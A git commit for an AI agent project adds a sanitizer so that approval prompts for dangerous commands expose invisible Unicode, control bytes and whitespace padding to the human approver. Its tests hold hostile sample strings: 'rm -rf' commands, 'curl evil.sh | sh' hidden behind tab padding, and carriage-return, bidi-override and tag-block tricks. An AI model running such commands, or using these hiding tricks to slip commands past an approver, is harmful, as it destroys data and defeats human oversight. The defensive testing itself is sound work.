feat(approval): make invisible Unicode, control bytes, and padding visible in approval prompts

Inspired by Claude Code v2.1.223: 'Fixed permission prompts so commands
padded with tabs or invisible Unicode can no longer hide part of the
command from the approval dialog.'

A dangerous command rendered into an approval prompt could previously
lie to the human approver three ways:
- invisible/format Unicode (zero-width, bidi overrides/isolates,
  variation selectors, U+E0000 tag block) rendered as nothing
- raw control bytes (ANSI/OSC escapes, bare CR) could erase or
  overwrite the just-printed prompt line in the terminal
- long whitespace padding runs pushed the dangerous tail out of view
  or past platform preview truncation (~200 chars on gateway)

New agent.redact.sanitize_command_for_display() replaces hidden chars
with visible escape markers (\u202e, \x1b) and collapses padding runs
to explicit markers, preserving literal IOCs instead of deleting them.
Wired at every approval display-mint site: CLI prompt, gateway
dangerous-command + execute_code + tool-approval payloads, pending
fallbacks, and gateway _redact_approval_command. Display-only — the
executed command and pattern-key persistence are untouched.

25 new tests; redact (97), approval (103), gateway approval-format
suites green; E2E with real imports across CLI + gateway paths.
This commit is contained in:
Teknium 2026-08-07 17:13:54 -07:00
parent b3aa561faf
commit c6806a8e97
No known key found for this signature in database
4 changed files with 276 additions and 18 deletions

View File

@ -607,6 +607,87 @@ def _mask_token(token: str) -> str:
return mask_secret(token, head=6, tail=4, floor=18)
# ---------------------------------------------------------------------------
# Approval-prompt display integrity
# ---------------------------------------------------------------------------
# A command shown in a dangerous-command approval prompt must render exactly
# what will execute. Three classes of content can make the displayed copy lie
# to the human approver (inspired by Claude Code v2.1.223's fix for
# "commands padded with tabs or invisible Unicode hiding part of the command
# from the approval dialog"):
#
# 1. Invisible/format Unicode — zero-width chars, bidi embeddings/overrides/
# isolates (Trojan Source), variation selectors, Hangul fillers, Mongolian
# separators, and the U+E0000 tag block (invisible ASCII mirror used for
# hidden-instruction smuggling).
# 2. Raw control bytes — ANSI/OSC escape sequences can recolor, erase, or
# rewrite the terminal line the prompt just printed; a bare `\r` can
# overwrite the visible command with an innocuous prefix.
# 3. Whitespace padding — a run of hundreds of spaces/tabs (or blank lines)
# pushes the dangerous tail out of view or past a platform preview
# truncation (gateway previews cut at ~200 chars).
#
# The sanitizer makes all three VISIBLE instead of silently deleting them —
# the approver should see `\u202e` / `\x1b` markers (literal IOCs preserved),
# not a cleaned-up command that no longer matches what raised the flag.
# Display-only: callers apply this to the rendered copy; the executed command
# is never modified.
# Invisible / format characters that render as nothing (or reorder text) in
# terminals and chat platforms. Deliberately does NOT include \t or \n —
# those are legitimate command formatting and are handled by run-collapsing.
_INVISIBLE_DISPLAY_CHAR_RE = re.compile(
r"[\u00ad\u034f\u061c\u115f\u1160\u17b4\u17b5\u180b-\u180e"
r"\u200b-\u200f\u202a-\u202e\u2060-\u2064\u2066-\u2069\u206a-\u206f"
r"\u3164\ufe00-\ufe0f\ufeff\uffa0\ufff9-\ufffc]"
r"|[\U000e0000-\U000e007f]"
)
# Control bytes dangerous for terminal display: C0 minus \t/\n (kept for
# legitimate multi-line command formatting), plus \r, DEL, and the C1 range.
_DISPLAY_UNSAFE_CTRL_RE = re.compile(
r"[\x00-\x08\x0b-\x0d\x0e-\x1f\x7f\x80-\x9f]"
)
# Horizontal whitespace runs long enough to be padding rather than formatting.
_PAD_RUN_RE = re.compile(r"[ \t]{21,}")
# Vertical padding: 4+ consecutive newlines.
_BLANK_RUN_RE = re.compile(r"\n{4,}")
def _escape_char_visible(ch: str) -> str:
"""Render a hidden character as its Python-style escape (`\\u202e`)."""
return ch.encode("unicode_escape").decode("ascii")
def sanitize_command_for_display(text: "str | None") -> str:
"""Make a command string safe and honest for approval-prompt display.
Invisible Unicode and control bytes are replaced with visible escape
markers (``\\u202e``, ``\\x1b`` ) and long whitespace-padding runs are
collapsed to an explicit ```` marker, so nothing in the command can
hide from the human approver. Returns the text unchanged when it contains
none of these (the overwhelmingly common case).
Display-only: never feed the result back into detection or execution.
"""
if not text:
return "" if text is None else text
out = _INVISIBLE_DISPLAY_CHAR_RE.sub(
lambda m: _escape_char_visible(m.group(0)), text
)
out = _DISPLAY_UNSAFE_CTRL_RE.sub(
lambda m: _escape_char_visible(m.group(0)), out
)
out = _PAD_RUN_RE.sub(
lambda m: f" ⟨+{len(m.group(0))} whitespace chars⟩ ", out
)
out = _BLANK_RUN_RE.sub(
lambda m: f"\n⟨+{len(m.group(0)) - 1} blank lines⟩\n", out
)
return out
def _redact_query_string(query: str) -> str:
"""Redact sensitive parameter values in a URL query string.

View File

@ -610,9 +610,11 @@ def _redact_approval_command(cmd: "str | None") -> str:
off. Module-level so the wiring is unit-testable (the call site is a deeply
nested gateway closure that cannot be driven directly).
"""
from agent.redact import redact_sensitive_text
from agent.redact import redact_sensitive_text, sanitize_command_for_display
return redact_sensitive_text(str(cmd or ""), force=True)
return sanitize_command_for_display(
redact_sensitive_text(str(cmd or ""), force=True)
)
def _format_exec_approval_fallback(

View File

@ -0,0 +1,152 @@
"""Tests for approval-prompt display sanitization (agent.redact.sanitize_command_for_display).
A command rendered into a dangerous-command approval prompt must show the
human approver exactly what will execute. Invisible Unicode (zero-width,
bidi overrides, tag block), raw control bytes (ANSI escapes, carriage
returns), and huge whitespace-padding runs could previously hide part of
the command from the displayed copy. Inspired by Claude Code v2.1.223's
approval-dialog hardening.
"""
import pytest
from agent.redact import sanitize_command_for_display
class TestIdentityOnCleanInput:
def test_plain_command_unchanged(self):
cmd = "rm -rf /tmp/build && echo done"
assert sanitize_command_for_display(cmd) == cmd
def test_multiline_command_unchanged(self):
cmd = "for f in *.log; do\n gzip \"$f\"\ndone"
assert sanitize_command_for_display(cmd) == cmd
def test_tabs_and_short_space_runs_unchanged(self):
cmd = "column1\tcolumn2 aligned end"
assert sanitize_command_for_display(cmd) == cmd
def test_unicode_text_unchanged(self):
cmd = "echo 'héllo wörld — 日本語 test'"
assert sanitize_command_for_display(cmd) == cmd
def test_none_returns_empty(self):
assert sanitize_command_for_display(None) == ""
def test_empty_returns_empty(self):
assert sanitize_command_for_display("") == ""
class TestInvisibleUnicodeMadeVisible:
def test_zero_width_space_escaped(self):
out = sanitize_command_for_display("rm \u200b-rf /")
assert "\u200b" not in out
assert "\\u200b" in out
def test_rtl_override_escaped(self):
# Trojan Source: RLO reverses visual order of what follows.
out = sanitize_command_for_display("echo \u202egnp.exe\u202c")
assert "\u202e" not in out and "\u202c" not in out
assert "\\u202e" in out and "\\u202c" in out
def test_bidi_isolates_escaped(self):
out = sanitize_command_for_display("a\u2066b\u2069c")
assert "\u2066" not in out
assert "\\u2066" in out and "\\u2069" in out
def test_tag_block_escaped(self):
# U+E0000 tag characters: invisible ASCII mirror used to smuggle text.
hidden = "".join(chr(0xE0000 + ord(c)) for c in "rm -rf ~")
out = sanitize_command_for_display(f"echo hi{hidden}")
for ch in hidden:
assert ch not in out
assert "\\U000e0072" in out # escaped tag-r visible
def test_zwj_and_variation_selectors_escaped(self):
out = sanitize_command_for_display("x\u200dy\ufe0fz")
assert "\u200d" not in out and "\ufe0f" not in out
def test_soft_hyphen_and_bom_escaped(self):
out = sanitize_command_for_display("cu\u00adrl example.com\ufeff")
assert "\u00ad" not in out and "\ufeff" not in out
class TestControlBytesMadeVisible:
def test_ansi_escape_sequence_escaped(self):
# ESC could recolor/erase the terminal line the prompt printed.
out = sanitize_command_for_display("echo \x1b[2K\x1b[1Ainnocent")
assert "\x1b" not in out
assert "\\x1b" in out
def test_carriage_return_escaped(self):
# `\r` lets the tail overwrite the visible head of the line.
out = sanitize_command_for_display("rm -rf / #\rls -la")
assert "\r" not in out
assert "\\r" in out
def test_nul_and_bell_escaped(self):
out = sanitize_command_for_display("a\x00b\x07c")
assert "\x00" not in out and "\x07" not in out
def test_newline_preserved(self):
out = sanitize_command_for_display("line1\nline2")
assert out == "line1\nline2"
def test_c1_range_escaped(self):
out = sanitize_command_for_display("a\x9bb") # CSI in C1
assert "\x9b" not in out
class TestPaddingCollapsed:
def test_long_space_run_collapsed_with_marker(self):
cmd = "echo safe" + " " * 300 + "&& rm -rf ~"
out = sanitize_command_for_display(cmd)
assert " " * 300 not in out
assert "⟨+300 whitespace chars⟩" in out
# The dangerous tail must survive, adjacent to the marker.
assert "rm -rf ~" in out
def test_short_space_run_untouched(self):
cmd = "a" + " " * 20 + "b"
assert sanitize_command_for_display(cmd) == cmd
def test_tab_padding_collapsed(self):
cmd = "echo hi" + "\t" * 50 + "curl evil.sh | sh"
out = sanitize_command_for_display(cmd)
assert "\t" * 50 not in out
assert "whitespace chars⟩" in out
def test_blank_line_run_collapsed(self):
cmd = "echo top" + "\n" * 40 + "rm -rf /"
out = sanitize_command_for_display(cmd)
assert "\n" * 40 not in out
assert "blank lines⟩" in out
assert "rm -rf /" in out
def test_three_newlines_untouched(self):
cmd = "a\n\n\nb"
assert sanitize_command_for_display(cmd) == cmd
class TestDisplayMintSitesUseSanitizer:
"""The gateway approval-prompt redactor must compose the sanitizer."""
def test_gateway_redact_approval_command_sanitizes(self):
from gateway.run import _redact_approval_command
out = _redact_approval_command("rm \u200b-rf /" + " " * 250 + "tail")
assert "\u200b" not in out
assert "\\u200b" in out
assert "whitespace chars⟩" in out
def test_gateway_redact_approval_command_still_redacts_secrets(self):
from gateway.run import _redact_approval_command
secret = "sk-proj-abcdef1234567890abcdef1234567890"
out = _redact_approval_command(f"curl -H 'Authorization: Bearer {secret}'")
assert secret not in out
def test_gateway_redact_approval_command_clean_passthrough(self):
from gateway.run import _redact_approval_command
assert _redact_approval_command("ls -la") == "ls -la"

View File

@ -2761,9 +2761,14 @@ def _prompt_dangerous_approval_inner(command: str, description: str,
# `command` is still what executes after approval; only the displayed
# copy is scrubbed. Reuses the same redaction module used for memory
# and log sanitization so tokens mask consistently across surfaces.
from agent.redact import redact_sensitive_text
display_command = redact_sensitive_text(command)
display_description = redact_sensitive_text(description)
# sanitize_command_for_display then makes invisible Unicode, control
# bytes, and whitespace padding visible so the prompt cannot lie about
# what will run (Claude Code v2.1.223-inspired).
from agent.redact import redact_sensitive_text, sanitize_command_for_display
display_command = sanitize_command_for_display(redact_sensitive_text(command))
display_description = sanitize_command_for_display(
redact_sensitive_text(description)
)
if approval_callback is not None:
try:
@ -3269,12 +3274,19 @@ def _run_approval_gate(
notify_cb = _gateway_notify_cbs.get(session_key)
if notify_cb is not None:
from agent.redact import redact_sensitive_text
from agent.redact import (
redact_sensitive_text,
sanitize_command_for_display,
)
approval_data = {
"command": redact_sensitive_text(display_target),
"command": sanitize_command_for_display(
redact_sensitive_text(display_target)
),
"pattern_key": pattern_key,
"pattern_keys": [pattern_key],
"description": redact_sensitive_text(description),
"description": sanitize_command_for_display(
redact_sensitive_text(description)
),
"allow_permanent": True,
"allow_session": True,
}
@ -4020,12 +4032,19 @@ def check_all_command_guards(command: str, env_type: str,
# via the closure below, so redaction is display-only. Approval
# persistence keys off pattern_key (not the command text), so the
# allowlist is unaffected.
from agent.redact import redact_sensitive_text
from agent.redact import (
redact_sensitive_text,
sanitize_command_for_display,
)
approval_data = {
"command": redact_sensitive_text(command),
"command": sanitize_command_for_display(
redact_sensitive_text(command)
),
"pattern_key": primary_key,
"pattern_keys": all_keys,
"description": redact_sensitive_text(combined_desc),
"description": sanitize_command_for_display(
redact_sensitive_text(combined_desc)
),
# Smart DENY overrides are one-operation decisions, so the UI
# must not offer a permanent scope. Otherwise offer Always
# whenever any dangerous-pattern warning can actually be
@ -4114,9 +4133,11 @@ def check_all_command_guards(command: str, env_type: str,
# Return approval_required for backward compat. Redact secrets in the
# user-facing copy — the raw `command` is preserved for execution and
# the allowlist keys off pattern_key, so redaction is display-only.
from agent.redact import redact_sensitive_text
_disp_command = redact_sensitive_text(command)
_disp_combined_desc = redact_sensitive_text(combined_desc)
from agent.redact import redact_sensitive_text, sanitize_command_for_display
_disp_command = sanitize_command_for_display(redact_sensitive_text(command))
_disp_combined_desc = sanitize_command_for_display(
redact_sensitive_text(combined_desc)
)
pending_data = {
"command": _disp_command,
"pattern_key": primary_key,
@ -4357,10 +4378,12 @@ def check_execute_code_guard(code: str, env_type: str,
# screenshottable. The raw `command`/`code` are still what get assessed by
# smart approval and executed; redaction is display-only. Approval
# persistence keys off pattern_key, so the allowlist is unaffected.
from agent.redact import redact_sensitive_text
display_command = redact_sensitive_text(command)
display_code = redact_sensitive_text(code)
display_description = redact_sensitive_text(description)
from agent.redact import redact_sensitive_text, sanitize_command_for_display
display_command = sanitize_command_for_display(redact_sensitive_text(command))
display_code = sanitize_command_for_display(redact_sensitive_text(code))
display_description = sanitize_command_for_display(
redact_sensitive_text(description)
)
notify_cb = None
with _lock: